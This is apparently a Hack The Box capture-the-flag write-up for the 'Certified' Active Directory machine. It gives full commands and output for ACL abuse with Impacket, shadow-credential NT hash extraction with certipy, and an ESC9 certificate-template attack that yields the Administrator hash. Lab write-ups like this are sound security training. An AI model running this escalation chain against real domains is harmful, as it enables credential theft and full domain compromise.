Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-03 14:54:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:06+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:56:07+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:06+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:56:07+00:00; +7h00m00s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
For this machine HTB tried out a new approach of providing the players with a valid user credential. That meant that right of the bat I had the following username and password judith.mader / judith09
.
My first thought was to go straight to logging into the machine with winRM. But as that failed I actually did a port scan and went to do some further enumeration. There I find the domain name DC01.certified.htb
which I add to my /etc/hosts
file and gather the fact that I am dealing with an Active Directory domain controller.
Foothold as management_svc
To get more information about the AD I use netexec
and Bloodhound to gather said data.
$ netexec ldap 'certified.htb' -u 'judith.mader' -p 'judith09' --bloodhound -c all --dns-server 10.129.117.245
SMB 10.129.117.245 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.129.117.245 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.129.117.245 389 DC01 Resolved collection methods: group, session, objectprops, trusts, localadmin, psremote, rdp, container, acl, dcom
LDAP 10.129.117.245 389 DC01 Done in 00M 04S
LDAP 10.129.117.245 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.129.117.245_2024-11-03_085853_bloodhound.zip
Plotting the shortest path to Domain Admin I can see a path from judith.mader
to management_svc
, which is can PSRemote into the machine.
As you can see from the Bloodhound graph I can abuse WriteOwner on the management
group. Members of said group than have a GenericWrite over the management_svc
user. Since the name of the machine kind of hints at AD CS being in play here I can make use of a Shadow Credential to get the NT hash of management_svc
.
To make use of WriteOwner I use the Impacket scripts owneredit.py
and dacledit.py
to ultimately make myself the owner and than grant me the WriteMembers permission on the group.
$ owneredit.py -action write -new-owner 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
$ dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20241103-161327.bak
[*] DACL modified successfully!
Now as the penultimate step I proceed to use bloodyAD
to make use of my new permissions and finally add judith.mader
to the management
group.
$ bloodyAD -d 'certified.htbb' -u 'judith.mader' -p 'judith09' --host 10.129.117.245 add groupMember 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'judith.mader'
[+] judith.mader added to CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB
Finally being a member of the group which has GenericWrite over management_svc
. As mentioned before I want to use a Shadow Credential to get the NT hash of the user. I can do this completely automatically with the help of certipy-ad
. Since this entire process involves Kerberos tickets and the clock skew to the domain controller is +7h00m00s
, I first have to sync my time. While the faketime
command is rather popular I often choose to use the NTP service of the domain controller itself.
$ sudo timedatectl set-ntp 0
$ sudo rdate -n '10.129.117.245'
Sun Nov 3 16:13:00 CET 2024
$ certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -dc-ip 10.129.117.245 -account 'management_svc' -target 'DC01.certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb'
[*] Adding Key Credential with device ID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID 'fd656b5e-e2e5-6cd4-2f7b-dc9e520ba6cb' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
With the NT hash of management_svc
I can finally use evil-winrm
to connect to the machine and read the user flag.
Shell as Administrator
NT Hash - ca-operator
Looking at the Bloodhound graph I can see that the now compromised user management_svc
has a GenericAll over the ca_operator
account. Which is a more powerful version of the previously abused GenericWrite. As such my first step is to get the NT hash of ca_operator
in the same way as I just did a few moments ago.
$ certipy-ad shadow auto -u 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -dc-ip 10.129.117.245 -account 'ca_operator' -target 'DC01.certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd80b893b-284c-9047-f977-230a6567bb6f'
[*] Adding Key Credential with device ID 'd80b893b-284c-9047-f977-230a6567bb6f' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID 'd80b893b-284c-9047-f977-230a6567bb6f' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Using principal: ca_operator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2
ESC 9
From here on out you can two slightly different paths to finding the privilege escalation vector. Out of force of habit I transfer the latest Sharphound collector onto the machine and collect AD information again. The key difference to netexec
is that this collector is compatible with the Bloodhound Community Edition by SpectreOps. This edition comes with some nice features like supporting AD CS.
From there simply going through the cypher-queries for AD CS I find that the ca_operator
can enroll to the CertifiedAuthentication
certificate. The msPKI-Enrollment-Flag
attribute of this template contains the flag CT_FLAG_NO_SECURITY_EXTENSION
. Which also called ESC9.
TLDR; ESC9
In this scenario, user1 has
GenericWrite
against user2 and wants to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies theCT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value. by The Hacker Recipes
Since I have already compromised the two required users I can start right away with working my way towards Administrator. If no security extension is set during Kerberos authentication with such a certificate the userPrincipalName (UPN)
is checked first. The GenericAll over ca_operator
allows me to change the UPN of it to the one of the user I want to compromise.
Since I want to compromise the Administrator account I set the corresponding UPN on ca_operator
using certipy-ad
.
$ certipy-ad account update -u 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator@certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : administrator@certified.htb
[*] Successfully updated 'ca_operator'
With the UPN prepared I can than request a certificate as ca_operator
based on the vulnerable template CertifiedAuthentication
.
$ certipy-ad req -username "ca_operator@certified.htb" -hashes "b4b86f45c6018f1b664f70805f45d8f2" -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'administrator@certified.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Since right now there are two users in the domain with the same UPN, if want use my certificate for authentication it will fail. While it will try to associate the correct user based on the UPN, the sAMAccountName
will mismatch and the authentication will fail. So to fix this issue I have to set the UPN of ca_operator
to any other value.
$ certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn 'ca_operator@certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
Now that authentication is working as intended I can extract the NT hash of the Administrator from the certificate.
$ certipy-ad auth -pfx 'administrator.pfx' -domain "certified.htb"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34